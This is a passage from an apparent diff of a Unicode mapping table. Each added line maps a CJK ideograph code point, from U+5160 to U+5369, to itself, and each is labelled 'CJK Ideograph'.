+ ["\u5160", "\u5160"], /* CJK Ideograph */
+ ["\u5161", "\u5161"], /* CJK Ideograph */
+ ["\u5162", "\u5162"], /* CJK Ideograph */
+ ["\u5163", "\u5163"], /* CJK Ideograph */
+ ["\u5164", "\u5164"], /* CJK Ideograph */
+ ["\u5165", "\u5165"], /* CJK Ideograph */
+ ["\u5166", "\u5166"], /* CJK Ideograph */
+ ["\u5167", "\u5167"], /* CJK Ideograph */
+ ["\u5168", "\u5168"], /* CJK Ideograph */
+ ["\u5169", "\u5169"], /* CJK Ideograph */
+ ["\u516A", "\u516A"], /* CJK Ideograph */
+ ["\u516B", "\u516B"], /* CJK Ideograph */
+ ["\u516C", "\u516C"], /* CJK Ideograph */
+ ["\u516D", "\u516D"], /* CJK Ideograph */
+ ["\u516E", "\u516E"], /* CJK Ideograph */
+ ["\u516F", "\u516F"], /* CJK Ideograph */
+ ["\u5170", "\u5170"], /* CJK Ideograph */
+ ["\u5171", "\u5171"], /* CJK Ideograph */
+ ["\u5172", "\u5172"], /* CJK Ideograph */
+ ["\u5173", "\u5173"], /* CJK Ideograph */
+ ["\u5174", "\u5174"], /* CJK Ideograph */
+ ["\u5175", "\u5175"], /* CJK Ideograph */
+ ["\u5176", "\u5176"], /* CJK Ideograph */
+ ["\u5177", "\u5177"], /* CJK Ideograph */
+ ["\u5178", "\u5178"], /* CJK Ideograph */
+ ["\u5179", "\u5179"], /* CJK Ideograph */
+ ["\u517A", "\u517A"], /* CJK Ideograph */
+ ["\u517B", "\u517B"], /* CJK Ideograph */
+ ["\u517C", "\u517C"], /* CJK Ideograph */
+ ["\u517D", "\u517D"], /* CJK Ideograph */
+ ["\u517E", "\u517E"], /* CJK Ideograph */
+ ["\u517F", "\u517F"], /* CJK Ideograph */
+ ["\u5180", "\u5180"], /* CJK Ideograph */
+ ["\u5181", "\u5181"], /* CJK Ideograph */
+ ["\u5182", "\u5182"], /* CJK Ideograph */
+ ["\u5183", "\u5183"], /* CJK Ideograph */
+ ["\u5184", "\u5184"], /* CJK Ideograph */
+ ["\u5185", "\u5185"], /* CJK Ideograph */
+ ["\u5186", "\u5186"], /* CJK Ideograph */
+ ["\u5187", "\u5187"], /* CJK Ideograph */
+ ["\u5188", "\u5188"], /* CJK Ideograph */
+ ["\u5189", "\u5189"], /* CJK Ideograph */
+ ["\u518A", "\u518A"], /* CJK Ideograph */
+ ["\u518B", "\u518B"], /* CJK Ideograph */
+ ["\u518C", "\u518C"], /* CJK Ideograph */
+ ["\u518D", "\u518D"], /* CJK Ideograph */
+ ["\u518E", "\u518E"], /* CJK Ideograph */
+ ["\u518F", "\u518F"], /* CJK Ideograph */
+ ["\u5190", "\u5190"], /* CJK Ideograph */
+ ["\u5191", "\u5191"], /* CJK Ideograph */
+ ["\u5192", "\u5192"], /* CJK Ideograph */
+ ["\u5193", "\u5193"], /* CJK Ideograph */
+ ["\u5194", "\u5194"], /* CJK Ideograph */
+ ["\u5195", "\u5195"], /* CJK Ideograph */
+ ["\u5196", "\u5196"], /* CJK Ideograph */
+ ["\u5197", "\u5197"], /* CJK Ideograph */
+ ["\u5198", "\u5198"], /* CJK Ideograph */
+ ["\u5199", "\u5199"], /* CJK Ideograph */
+ ["\u519A", "\u519A"], /* CJK Ideograph */
+ ["\u519B", "\u519B"], /* CJK Ideograph */
+ ["\u519C", "\u519C"], /* CJK Ideograph */
+ ["\u519D", "\u519D"], /* CJK Ideograph */
+ ["\u519E", "\u519E"], /* CJK Ideograph */
+ ["\u519F", "\u519F"], /* CJK Ideograph */
+ ["\u51A0", "\u51A0"], /* CJK Ideograph */
+ ["\u51A1", "\u51A1"], /* CJK Ideograph */
+ ["\u51A2", "\u51A2"], /* CJK Ideograph */
+ ["\u51A3", "\u51A3"], /* CJK Ideograph */
+ ["\u51A4", "\u51A4"], /* CJK Ideograph */
+ ["\u51A5", "\u51A5"], /* CJK Ideograph */
+ ["\u51A6", "\u51A6"], /* CJK Ideograph */
+ ["\u51A7", "\u51A7"], /* CJK Ideograph */
+ ["\u51A8", "\u51A8"], /* CJK Ideograph */
+ ["\u51A9", "\u51A9"], /* CJK Ideograph */
+ ["\u51AA", "\u51AA"], /* CJK Ideograph */
+ ["\u51AB", "\u51AB"], /* CJK Ideograph */
+ ["\u51AC", "\u51AC"], /* CJK Ideograph */
+ ["\u51AD", "\u51AD"], /* CJK Ideograph */
+ ["\u51AE", "\u51AE"], /* CJK Ideograph */
+ ["\u51AF", "\u51AF"], /* CJK Ideograph */
+ ["\u51B0", "\u51B0"], /* CJK Ideograph */
+ ["\u51B1", "\u51B1"], /* CJK Ideograph */
+ ["\u51B2", "\u51B2"], /* CJK Ideograph */
+ ["\u51B3", "\u51B3"], /* CJK Ideograph */
+ ["\u51B4", "\u51B4"], /* CJK Ideograph */
+ ["\u51B5", "\u51B5"], /* CJK Ideograph */
+ ["\u51B6", "\u51B6"], /* CJK Ideograph */
+ ["\u51B7", "\u51B7"], /* CJK Ideograph */
+ ["\u51B8", "\u51B8"], /* CJK Ideograph */
+ ["\u51B9", "\u51B9"], /* CJK Ideograph */
+ ["\u51BA", "\u51BA"], /* CJK Ideograph */
+ ["\u51BB", "\u51BB"], /* CJK Ideograph */
+ ["\u51BC", "\u51BC"], /* CJK Ideograph */
+ ["\u51BD", "\u51BD"], /* CJK Ideograph */
+ ["\u51BE", "\u51BE"], /* CJK Ideograph */
+ ["\u51BF", "\u51BF"], /* CJK Ideograph */
+ ["\u51C0", "\u51C0"], /* CJK Ideograph */
+ ["\u51C1", "\u51C1"], /* CJK Ideograph */
+ ["\u51C2", "\u51C2"], /* CJK Ideograph */
+ ["\u51C3", "\u51C3"], /* CJK Ideograph */
+ ["\u51C4", "\u51C4"], /* CJK Ideograph */
+ ["\u51C5", "\u51C5"], /* CJK Ideograph */
+ ["\u51C6", "\u51C6"], /* CJK Ideograph */
+ ["\u51C7", "\u51C7"], /* CJK Ideograph */
+ ["\u51C8", "\u51C8"], /* CJK Ideograph */
+ ["\u51C9", "\u51C9"], /* CJK Ideograph */
+ ["\u51CA", "\u51CA"], /* CJK Ideograph */
+ ["\u51CB", "\u51CB"], /* CJK Ideograph */
+ ["\u51CC", "\u51CC"], /* CJK Ideograph */
+ ["\u51CD", "\u51CD"], /* CJK Ideograph */
+ ["\u51CE", "\u51CE"], /* CJK Ideograph */
+ ["\u51CF", "\u51CF"], /* CJK Ideograph */
+ ["\u51D0", "\u51D0"], /* CJK Ideograph */
+ ["\u51D1", "\u51D1"], /* CJK Ideograph */
+ ["\u51D2", "\u51D2"], /* CJK Ideograph */
+ ["\u51D3", "\u51D3"], /* CJK Ideograph */
+ ["\u51D4", "\u51D4"], /* CJK Ideograph */
+ ["\u51D5", "\u51D5"], /* CJK Ideograph */
+ ["\u51D6", "\u51D6"], /* CJK Ideograph */
+ ["\u51D7", "\u51D7"], /* CJK Ideograph */
+ ["\u51D8", "\u51D8"], /* CJK Ideograph */
+ ["\u51D9", "\u51D9"], /* CJK Ideograph */
+ ["\u51DA", "\u51DA"], /* CJK Ideograph */
+ ["\u51DB", "\u51DB"], /* CJK Ideograph */
+ ["\u51DC", "\u51DC"], /* CJK Ideograph */
+ ["\u51DD", "\u51DD"], /* CJK Ideograph */
+ ["\u51DE", "\u51DE"], /* CJK Ideograph */
+ ["\u51DF", "\u51DF"], /* CJK Ideograph */
+ ["\u51E0", "\u51E0"], /* CJK Ideograph */
+ ["\u51E1", "\u51E1"], /* CJK Ideograph */
+ ["\u51E2", "\u51E2"], /* CJK Ideograph */
+ ["\u51E3", "\u51E3"], /* CJK Ideograph */
+ ["\u51E4", "\u51E4"], /* CJK Ideograph */
+ ["\u51E5", "\u51E5"], /* CJK Ideograph */
+ ["\u51E6", "\u51E6"], /* CJK Ideograph */
+ ["\u51E7", "\u51E7"], /* CJK Ideograph */
+ ["\u51E8", "\u51E8"], /* CJK Ideograph */
+ ["\u51E9", "\u51E9"], /* CJK Ideograph */
+ ["\u51EA", "\u51EA"], /* CJK Ideograph */
+ ["\u51EB", "\u51EB"], /* CJK Ideograph */
+ ["\u51EC", "\u51EC"], /* CJK Ideograph */
+ ["\u51ED", "\u51ED"], /* CJK Ideograph */
+ ["\u51EE", "\u51EE"], /* CJK Ideograph */
+ ["\u51EF", "\u51EF"], /* CJK Ideograph */
+ ["\u51F0", "\u51F0"], /* CJK Ideograph */
+ ["\u51F1", "\u51F1"], /* CJK Ideograph */
+ ["\u51F2", "\u51F2"], /* CJK Ideograph */
+ ["\u51F3", "\u51F3"], /* CJK Ideograph */
+ ["\u51F4", "\u51F4"], /* CJK Ideograph */
+ ["\u51F5", "\u51F5"], /* CJK Ideograph */
+ ["\u51F6", "\u51F6"], /* CJK Ideograph */
+ ["\u51F7", "\u51F7"], /* CJK Ideograph */
+ ["\u51F8", "\u51F8"], /* CJK Ideograph */
+ ["\u51F9", "\u51F9"], /* CJK Ideograph */
+ ["\u51FA", "\u51FA"], /* CJK Ideograph */
+ ["\u51FB", "\u51FB"], /* CJK Ideograph */
+ ["\u51FC", "\u51FC"], /* CJK Ideograph */
+ ["\u51FD", "\u51FD"], /* CJK Ideograph */
+ ["\u51FE", "\u51FE"], /* CJK Ideograph */
+ ["\u51FF", "\u51FF"], /* CJK Ideograph */
+ ["\u5200", "\u5200"], /* CJK Ideograph */
+ ["\u5201", "\u5201"], /* CJK Ideograph */
+ ["\u5202", "\u5202"], /* CJK Ideograph */
+ ["\u5203", "\u5203"], /* CJK Ideograph */
+ ["\u5204", "\u5204"], /* CJK Ideograph */
+ ["\u5205", "\u5205"], /* CJK Ideograph */
+ ["\u5206", "\u5206"], /* CJK Ideograph */
+ ["\u5207", "\u5207"], /* CJK Ideograph */
+ ["\u5208", "\u5208"], /* CJK Ideograph */
+ ["\u5209", "\u5209"], /* CJK Ideograph */
+ ["\u520A", "\u520A"], /* CJK Ideograph */
+ ["\u520B", "\u520B"], /* CJK Ideograph */
+ ["\u520C", "\u520C"], /* CJK Ideograph */
+ ["\u520D", "\u520D"], /* CJK Ideograph */
+ ["\u520E", "\u520E"], /* CJK Ideograph */
+ ["\u520F", "\u520F"], /* CJK Ideograph */
+ ["\u5210", "\u5210"], /* CJK Ideograph */
+ ["\u5211", "\u5211"], /* CJK Ideograph */
+ ["\u5212", "\u5212"], /* CJK Ideograph */
+ ["\u5213", "\u5213"], /* CJK Ideograph */
+ ["\u5214", "\u5214"], /* CJK Ideograph */
+ ["\u5215", "\u5215"], /* CJK Ideograph */
+ ["\u5216", "\u5216"], /* CJK Ideograph */
+ ["\u5217", "\u5217"], /* CJK Ideograph */
+ ["\u5218", "\u5218"], /* CJK Ideograph */
+ ["\u5219", "\u5219"], /* CJK Ideograph */
+ ["\u521A", "\u521A"], /* CJK Ideograph */
+ ["\u521B", "\u521B"], /* CJK Ideograph */
+ ["\u521C", "\u521C"], /* CJK Ideograph */
+ ["\u521D", "\u521D"], /* CJK Ideograph */
+ ["\u521E", "\u521E"], /* CJK Ideograph */
+ ["\u521F", "\u521F"], /* CJK Ideograph */
+ ["\u5220", "\u5220"], /* CJK Ideograph */
+ ["\u5221", "\u5221"], /* CJK Ideograph */
+ ["\u5222", "\u5222"], /* CJK Ideograph */
+ ["\u5223", "\u5223"], /* CJK Ideograph */
+ ["\u5224", "\u5224"], /* CJK Ideograph */
+ ["\u5225", "\u5225"], /* CJK Ideograph */
+ ["\u5226", "\u5226"], /* CJK Ideograph */
+ ["\u5227", "\u5227"], /* CJK Ideograph */
+ ["\u5228", "\u5228"], /* CJK Ideograph */
+ ["\u5229", "\u5229"], /* CJK Ideograph */
+ ["\u522A", "\u522A"], /* CJK Ideograph */
+ ["\u522B", "\u522B"], /* CJK Ideograph */
+ ["\u522C", "\u522C"], /* CJK Ideograph */
+ ["\u522D", "\u522D"], /* CJK Ideograph */
+ ["\u522E", "\u522E"], /* CJK Ideograph */
+ ["\u522F", "\u522F"], /* CJK Ideograph */
+ ["\u5230", "\u5230"], /* CJK Ideograph */
+ ["\u5231", "\u5231"], /* CJK Ideograph */
+ ["\u5232", "\u5232"], /* CJK Ideograph */
+ ["\u5233", "\u5233"], /* CJK Ideograph */
+ ["\u5234", "\u5234"], /* CJK Ideograph */
+ ["\u5235", "\u5235"], /* CJK Ideograph */
+ ["\u5236", "\u5236"], /* CJK Ideograph */
+ ["\u5237", "\u5237"], /* CJK Ideograph */
+ ["\u5238", "\u5238"], /* CJK Ideograph */
+ ["\u5239", "\u5239"], /* CJK Ideograph */
+ ["\u523A", "\u523A"], /* CJK Ideograph */
+ ["\u523B", "\u523B"], /* CJK Ideograph */
+ ["\u523C", "\u523C"], /* CJK Ideograph */
+ ["\u523D", "\u523D"], /* CJK Ideograph */
+ ["\u523E", "\u523E"], /* CJK Ideograph */
+ ["\u523F", "\u523F"], /* CJK Ideograph */
+ ["\u5240", "\u5240"], /* CJK Ideograph */
+ ["\u5241", "\u5241"], /* CJK Ideograph */
+ ["\u5242", "\u5242"], /* CJK Ideograph */
+ ["\u5243", "\u5243"], /* CJK Ideograph */
+ ["\u5244", "\u5244"], /* CJK Ideograph */
+ ["\u5245", "\u5245"], /* CJK Ideograph */
+ ["\u5246", "\u5246"], /* CJK Ideograph */
+ ["\u5247", "\u5247"], /* CJK Ideograph */
+ ["\u5248", "\u5248"], /* CJK Ideograph */
+ ["\u5249", "\u5249"], /* CJK Ideograph */
+ ["\u524A", "\u524A"], /* CJK Ideograph */
+ ["\u524B", "\u524B"], /* CJK Ideograph */
+ ["\u524C", "\u524C"], /* CJK Ideograph */
+ ["\u524D", "\u524D"], /* CJK Ideograph */
+ ["\u524E", "\u524E"], /* CJK Ideograph */
+ ["\u524F", "\u524F"], /* CJK Ideograph */
+ ["\u5250", "\u5250"], /* CJK Ideograph */
+ ["\u5251", "\u5251"], /* CJK Ideograph */
+ ["\u5252", "\u5252"], /* CJK Ideograph */
+ ["\u5253", "\u5253"], /* CJK Ideograph */
+ ["\u5254", "\u5254"], /* CJK Ideograph */
+ ["\u5255", "\u5255"], /* CJK Ideograph */
+ ["\u5256", "\u5256"], /* CJK Ideograph */
+ ["\u5257", "\u5257"], /* CJK Ideograph */
+ ["\u5258", "\u5258"], /* CJK Ideograph */
+ ["\u5259", "\u5259"], /* CJK Ideograph */
+ ["\u525A", "\u525A"], /* CJK Ideograph */
+ ["\u525B", "\u525B"], /* CJK Ideograph */
+ ["\u525C", "\u525C"], /* CJK Ideograph */
+ ["\u525D", "\u525D"], /* CJK Ideograph */
+ ["\u525E", "\u525E"], /* CJK Ideograph */
+ ["\u525F", "\u525F"], /* CJK Ideograph */
+ ["\u5260", "\u5260"], /* CJK Ideograph */
+ ["\u5261", "\u5261"], /* CJK Ideograph */
+ ["\u5262", "\u5262"], /* CJK Ideograph */
+ ["\u5263", "\u5263"], /* CJK Ideograph */
+ ["\u5264", "\u5264"], /* CJK Ideograph */
+ ["\u5265", "\u5265"], /* CJK Ideograph */
+ ["\u5266", "\u5266"], /* CJK Ideograph */
+ ["\u5267", "\u5267"], /* CJK Ideograph */
+ ["\u5268", "\u5268"], /* CJK Ideograph */
+ ["\u5269", "\u5269"], /* CJK Ideograph */
+ ["\u526A", "\u526A"], /* CJK Ideograph */
+ ["\u526B", "\u526B"], /* CJK Ideograph */
+ ["\u526C", "\u526C"], /* CJK Ideograph */
+ ["\u526D", "\u526D"], /* CJK Ideograph */
+ ["\u526E", "\u526E"], /* CJK Ideograph */
+ ["\u526F", "\u526F"], /* CJK Ideograph */
+ ["\u5270", "\u5270"], /* CJK Ideograph */
+ ["\u5271", "\u5271"], /* CJK Ideograph */
+ ["\u5272", "\u5272"], /* CJK Ideograph */
+ ["\u5273", "\u5273"], /* CJK Ideograph */
+ ["\u5274", "\u5274"], /* CJK Ideograph */
+ ["\u5275", "\u5275"], /* CJK Ideograph */
+ ["\u5276", "\u5276"], /* CJK Ideograph */
+ ["\u5277", "\u5277"], /* CJK Ideograph */
+ ["\u5278", "\u5278"], /* CJK Ideograph */
+ ["\u5279", "\u5279"], /* CJK Ideograph */
+ ["\u527A", "\u527A"], /* CJK Ideograph */
+ ["\u527B", "\u527B"], /* CJK Ideograph */
+ ["\u527C", "\u527C"], /* CJK Ideograph */
+ ["\u527D", "\u527D"], /* CJK Ideograph */
+ ["\u527E", "\u527E"], /* CJK Ideograph */
+ ["\u527F", "\u527F"], /* CJK Ideograph */
+ ["\u5280", "\u5280"], /* CJK Ideograph */
+ ["\u5281", "\u5281"], /* CJK Ideograph */
+ ["\u5282", "\u5282"], /* CJK Ideograph */
+ ["\u5283", "\u5283"], /* CJK Ideograph */
+ ["\u5284", "\u5284"], /* CJK Ideograph */
+ ["\u5285", "\u5285"], /* CJK Ideograph */
+ ["\u5286", "\u5286"], /* CJK Ideograph */
+ ["\u5287", "\u5287"], /* CJK Ideograph */
+ ["\u5288", "\u5288"], /* CJK Ideograph */
+ ["\u5289", "\u5289"], /* CJK Ideograph */
+ ["\u528A", "\u528A"], /* CJK Ideograph */
+ ["\u528B", "\u528B"], /* CJK Ideograph */
+ ["\u528C", "\u528C"], /* CJK Ideograph */
+ ["\u528D", "\u528D"], /* CJK Ideograph */
+ ["\u528E", "\u528E"], /* CJK Ideograph */
+ ["\u528F", "\u528F"], /* CJK Ideograph */
+ ["\u5290", "\u5290"], /* CJK Ideograph */
+ ["\u5291", "\u5291"], /* CJK Ideograph */
+ ["\u5292", "\u5292"], /* CJK Ideograph */
+ ["\u5293", "\u5293"], /* CJK Ideograph */
+ ["\u5294", "\u5294"], /* CJK Ideograph */
+ ["\u5295", "\u5295"], /* CJK Ideograph */
+ ["\u5296", "\u5296"], /* CJK Ideograph */
+ ["\u5297", "\u5297"], /* CJK Ideograph */
+ ["\u5298", "\u5298"], /* CJK Ideograph */
+ ["\u5299", "\u5299"], /* CJK Ideograph */
+ ["\u529A", "\u529A"], /* CJK Ideograph */
+ ["\u529B", "\u529B"], /* CJK Ideograph */
+ ["\u529C", "\u529C"], /* CJK Ideograph */
+ ["\u529D", "\u529D"], /* CJK Ideograph */
+ ["\u529E", "\u529E"], /* CJK Ideograph */
+ ["\u529F", "\u529F"], /* CJK Ideograph */
+ ["\u52A0", "\u52A0"], /* CJK Ideograph */
+ ["\u52A1", "\u52A1"], /* CJK Ideograph */
+ ["\u52A2", "\u52A2"], /* CJK Ideograph */
+ ["\u52A3", "\u52A3"], /* CJK Ideograph */
+ ["\u52A4", "\u52A4"], /* CJK Ideograph */
+ ["\u52A5", "\u52A5"], /* CJK Ideograph */
+ ["\u52A6", "\u52A6"], /* CJK Ideograph */
+ ["\u52A7", "\u52A7"], /* CJK Ideograph */
+ ["\u52A8", "\u52A8"], /* CJK Ideograph */
+ ["\u52A9", "\u52A9"], /* CJK Ideograph */
+ ["\u52AA", "\u52AA"], /* CJK Ideograph */
+ ["\u52AB", "\u52AB"], /* CJK Ideograph */
+ ["\u52AC", "\u52AC"], /* CJK Ideograph */
+ ["\u52AD", "\u52AD"], /* CJK Ideograph */
+ ["\u52AE", "\u52AE"], /* CJK Ideograph */
+ ["\u52AF", "\u52AF"], /* CJK Ideograph */
+ ["\u52B0", "\u52B0"], /* CJK Ideograph */
+ ["\u52B1", "\u52B1"], /* CJK Ideograph */
+ ["\u52B2", "\u52B2"], /* CJK Ideograph */
+ ["\u52B3", "\u52B3"], /* CJK Ideograph */
+ ["\u52B4", "\u52B4"], /* CJK Ideograph */
+ ["\u52B5", "\u52B5"], /* CJK Ideograph */
+ ["\u52B6", "\u52B6"], /* CJK Ideograph */
+ ["\u52B7", "\u52B7"], /* CJK Ideograph */
+ ["\u52B8", "\u52B8"], /* CJK Ideograph */
+ ["\u52B9", "\u52B9"], /* CJK Ideograph */
+ ["\u52BA", "\u52BA"], /* CJK Ideograph */
+ ["\u52BB", "\u52BB"], /* CJK Ideograph */
+ ["\u52BC", "\u52BC"], /* CJK Ideograph */
+ ["\u52BD", "\u52BD"], /* CJK Ideograph */
+ ["\u52BE", "\u52BE"], /* CJK Ideograph */
+ ["\u52BF", "\u52BF"], /* CJK Ideograph */
+ ["\u52C0", "\u52C0"], /* CJK Ideograph */
+ ["\u52C1", "\u52C1"], /* CJK Ideograph */
+ ["\u52C2", "\u52C2"], /* CJK Ideograph */
+ ["\u52C3", "\u52C3"], /* CJK Ideograph */
+ ["\u52C4", "\u52C4"], /* CJK Ideograph */
+ ["\u52C5", "\u52C5"], /* CJK Ideograph */
+ ["\u52C6", "\u52C6"], /* CJK Ideograph */
+ ["\u52C7", "\u52C7"], /* CJK Ideograph */
+ ["\u52C8", "\u52C8"], /* CJK Ideograph */
+ ["\u52C9", "\u52C9"], /* CJK Ideograph */
+ ["\u52CA", "\u52CA"], /* CJK Ideograph */
+ ["\u52CB", "\u52CB"], /* CJK Ideograph */
+ ["\u52CC", "\u52CC"], /* CJK Ideograph */
+ ["\u52CD", "\u52CD"], /* CJK Ideograph */
+ ["\u52CE", "\u52CE"], /* CJK Ideograph */
+ ["\u52CF", "\u52CF"], /* CJK Ideograph */
+ ["\u52D0", "\u52D0"], /* CJK Ideograph */
+ ["\u52D1", "\u52D1"], /* CJK Ideograph */
+ ["\u52D2", "\u52D2"], /* CJK Ideograph */
+ ["\u52D3", "\u52D3"], /* CJK Ideograph */
+ ["\u52D4", "\u52D4"], /* CJK Ideograph */
+ ["\u52D5", "\u52D5"], /* CJK Ideograph */
+ ["\u52D6", "\u52D6"], /* CJK Ideograph */
+ ["\u52D7", "\u52D7"], /* CJK Ideograph */
+ ["\u52D8", "\u52D8"], /* CJK Ideograph */
+ ["\u52D9", "\u52D9"], /* CJK Ideograph */
+ ["\u52DA", "\u52DA"], /* CJK Ideograph */
+ ["\u52DB", "\u52DB"], /* CJK Ideograph */
+ ["\u52DC", "\u52DC"], /* CJK Ideograph */
+ ["\u52DD", "\u52DD"], /* CJK Ideograph */
+ ["\u52DE", "\u52DE"], /* CJK Ideograph */
+ ["\u52DF", "\u52DF"], /* CJK Ideograph */
+ ["\u52E0", "\u52E0"], /* CJK Ideograph */
+ ["\u52E1", "\u52E1"], /* CJK Ideograph */
+ ["\u52E2", "\u52E2"], /* CJK Ideograph */
+ ["\u52E3", "\u52E3"], /* CJK Ideograph */
+ ["\u52E4", "\u52E4"], /* CJK Ideograph */
+ ["\u52E5", "\u52E5"], /* CJK Ideograph */
+ ["\u52E6", "\u52E6"], /* CJK Ideograph */
+ ["\u52E7", "\u52E7"], /* CJK Ideograph */
+ ["\u52E8", "\u52E8"], /* CJK Ideograph */
+ ["\u52E9", "\u52E9"], /* CJK Ideograph */
+ ["\u52EA", "\u52EA"], /* CJK Ideograph */
+ ["\u52EB", "\u52EB"], /* CJK Ideograph */
+ ["\u52EC", "\u52EC"], /* CJK Ideograph */
+ ["\u52ED", "\u52ED"], /* CJK Ideograph */
+ ["\u52EE", "\u52EE"], /* CJK Ideograph */
+ ["\u52EF", "\u52EF"], /* CJK Ideograph */
+ ["\u52F0", "\u52F0"], /* CJK Ideograph */
+ ["\u52F1", "\u52F1"], /* CJK Ideograph */
+ ["\u52F2", "\u52F2"], /* CJK Ideograph */
+ ["\u52F3", "\u52F3"], /* CJK Ideograph */
+ ["\u52F4", "\u52F4"], /* CJK Ideograph */
+ ["\u52F5", "\u52F5"], /* CJK Ideograph */
+ ["\u52F6", "\u52F6"], /* CJK Ideograph */
+ ["\u52F7", "\u52F7"], /* CJK Ideograph */
+ ["\u52F8", "\u52F8"], /* CJK Ideograph */
+ ["\u52F9", "\u52F9"], /* CJK Ideograph */
+ ["\u52FA", "\u52FA"], /* CJK Ideograph */
+ ["\u52FB", "\u52FB"], /* CJK Ideograph */
+ ["\u52FC", "\u52FC"], /* CJK Ideograph */
+ ["\u52FD", "\u52FD"], /* CJK Ideograph */
+ ["\u52FE", "\u52FE"], /* CJK Ideograph */
+ ["\u52FF", "\u52FF"], /* CJK Ideograph */
+ ["\u5300", "\u5300"], /* CJK Ideograph */
+ ["\u5301", "\u5301"], /* CJK Ideograph */
+ ["\u5302", "\u5302"], /* CJK Ideograph */
+ ["\u5303", "\u5303"], /* CJK Ideograph */
+ ["\u5304", "\u5304"], /* CJK Ideograph */
+ ["\u5305", "\u5305"], /* CJK Ideograph */
+ ["\u5306", "\u5306"], /* CJK Ideograph */
+ ["\u5307", "\u5307"], /* CJK Ideograph */
+ ["\u5308", "\u5308"], /* CJK Ideograph */
+ ["\u5309", "\u5309"], /* CJK Ideograph */
+ ["\u530A", "\u530A"], /* CJK Ideograph */
+ ["\u530B", "\u530B"], /* CJK Ideograph */
+ ["\u530C", "\u530C"], /* CJK Ideograph */
+ ["\u530D", "\u530D"], /* CJK Ideograph */
+ ["\u530E", "\u530E"], /* CJK Ideograph */
+ ["\u530F", "\u530F"], /* CJK Ideograph */
+ ["\u5310", "\u5310"], /* CJK Ideograph */
+ ["\u5311", "\u5311"], /* CJK Ideograph */
+ ["\u5312", "\u5312"], /* CJK Ideograph */
+ ["\u5313", "\u5313"], /* CJK Ideograph */
+ ["\u5314", "\u5314"], /* CJK Ideograph */
+ ["\u5315", "\u5315"], /* CJK Ideograph */
+ ["\u5316", "\u5316"], /* CJK Ideograph */
+ ["\u5317", "\u5317"], /* CJK Ideograph */
+ ["\u5318", "\u5318"], /* CJK Ideograph */
+ ["\u5319", "\u5319"], /* CJK Ideograph */
+ ["\u531A", "\u531A"], /* CJK Ideograph */
+ ["\u531B", "\u531B"], /* CJK Ideograph */
+ ["\u531C", "\u531C"], /* CJK Ideograph */
+ ["\u531D", "\u531D"], /* CJK Ideograph */
+ ["\u531E", "\u531E"], /* CJK Ideograph */
+ ["\u531F", "\u531F"], /* CJK Ideograph */
+ ["\u5320", "\u5320"], /* CJK Ideograph */
+ ["\u5321", "\u5321"], /* CJK Ideograph */
+ ["\u5322", "\u5322"], /* CJK Ideograph */
+ ["\u5323", "\u5323"], /* CJK Ideograph */
+ ["\u5324", "\u5324"], /* CJK Ideograph */
+ ["\u5325", "\u5325"], /* CJK Ideograph */
+ ["\u5326", "\u5326"], /* CJK Ideograph */
+ ["\u5327", "\u5327"], /* CJK Ideograph */
+ ["\u5328", "\u5328"], /* CJK Ideograph */
+ ["\u5329", "\u5329"], /* CJK Ideograph */
+ ["\u532A", "\u532A"], /* CJK Ideograph */
+ ["\u532B", "\u532B"], /* CJK Ideograph */
+ ["\u532C", "\u532C"], /* CJK Ideograph */
+ ["\u532D", "\u532D"], /* CJK Ideograph */
+ ["\u532E", "\u532E"], /* CJK Ideograph */
+ ["\u532F", "\u532F"], /* CJK Ideograph */
+ ["\u5330", "\u5330"], /* CJK Ideograph */
+ ["\u5331", "\u5331"], /* CJK Ideograph */
+ ["\u5332", "\u5332"], /* CJK Ideograph */
+ ["\u5333", "\u5333"], /* CJK Ideograph */
+ ["\u5334", "\u5334"], /* CJK Ideograph */
+ ["\u5335", "\u5335"], /* CJK Ideograph */
+ ["\u5336", "\u5336"], /* CJK Ideograph */
+ ["\u5337", "\u5337"], /* CJK Ideograph */
+ ["\u5338", "\u5338"], /* CJK Ideograph */
+ ["\u5339", "\u5339"], /* CJK Ideograph */
+ ["\u533A", "\u533A"], /* CJK Ideograph */
+ ["\u533B", "\u533B"], /* CJK Ideograph */
+ ["\u533C", "\u533C"], /* CJK Ideograph */
+ ["\u533D", "\u533D"], /* CJK Ideograph */
+ ["\u533E", "\u533E"], /* CJK Ideograph */
+ ["\u533F", "\u533F"], /* CJK Ideograph */
+ ["\u5340", "\u5340"], /* CJK Ideograph */
+ ["\u5341", "\u5341"], /* CJK Ideograph */
+ ["\u5342", "\u5342"], /* CJK Ideograph */
+ ["\u5343", "\u5343"], /* CJK Ideograph */
+ ["\u5344", "\u5344"], /* CJK Ideograph */
+ ["\u5345", "\u5345"], /* CJK Ideograph */
+ ["\u5346", "\u5346"], /* CJK Ideograph */
+ ["\u5347", "\u5347"], /* CJK Ideograph */
+ ["\u5348", "\u5348"], /* CJK Ideograph */
+ ["\u5349", "\u5349"], /* CJK Ideograph */
+ ["\u534A", "\u534A"], /* CJK Ideograph */
+ ["\u534B", "\u534B"], /* CJK Ideograph */
+ ["\u534C", "\u534C"], /* CJK Ideograph */
+ ["\u534D", "\u534D"], /* CJK Ideograph */
+ ["\u534E", "\u534E"], /* CJK Ideograph */
+ ["\u534F", "\u534F"], /* CJK Ideograph */
+ ["\u5350", "\u5350"], /* CJK Ideograph */
+ ["\u5351", "\u5351"], /* CJK Ideograph */
+ ["\u5352", "\u5352"], /* CJK Ideograph */
+ ["\u5353", "\u5353"], /* CJK Ideograph */
+ ["\u5354", "\u5354"], /* CJK Ideograph */
+ ["\u5355", "\u5355"], /* CJK Ideograph */
+ ["\u5356", "\u5356"], /* CJK Ideograph */
+ ["\u5357", "\u5357"], /* CJK Ideograph */
+ ["\u5358", "\u5358"], /* CJK Ideograph */
+ ["\u5359", "\u5359"], /* CJK Ideograph */
+ ["\u535A", "\u535A"], /* CJK Ideograph */
+ ["\u535B", "\u535B"], /* CJK Ideograph */
+ ["\u535C", "\u535C"], /* CJK Ideograph */
+ ["\u535D", "\u535D"], /* CJK Ideograph */
+ ["\u535E", "\u535E"], /* CJK Ideograph */
+ ["\u535F", "\u535F"], /* CJK Ideograph */
+ ["\u5360", "\u5360"], /* CJK Ideograph */
+ ["\u5361", "\u5361"], /* CJK Ideograph */
+ ["\u5362", "\u5362"], /* CJK Ideograph */
+ ["\u5363", "\u5363"], /* CJK Ideograph */
+ ["\u5364", "\u5364"], /* CJK Ideograph */
+ ["\u5365", "\u5365"], /* CJK Ideograph */
+ ["\u5366", "\u5366"], /* CJK Ideograph */
+ ["\u5367", "\u5367"], /* CJK Ideograph */
+ ["\u5368", "\u5368"], /* CJK Ideograph */
+ ["\u5369", "\u5369"], /* CJK Ideograph */
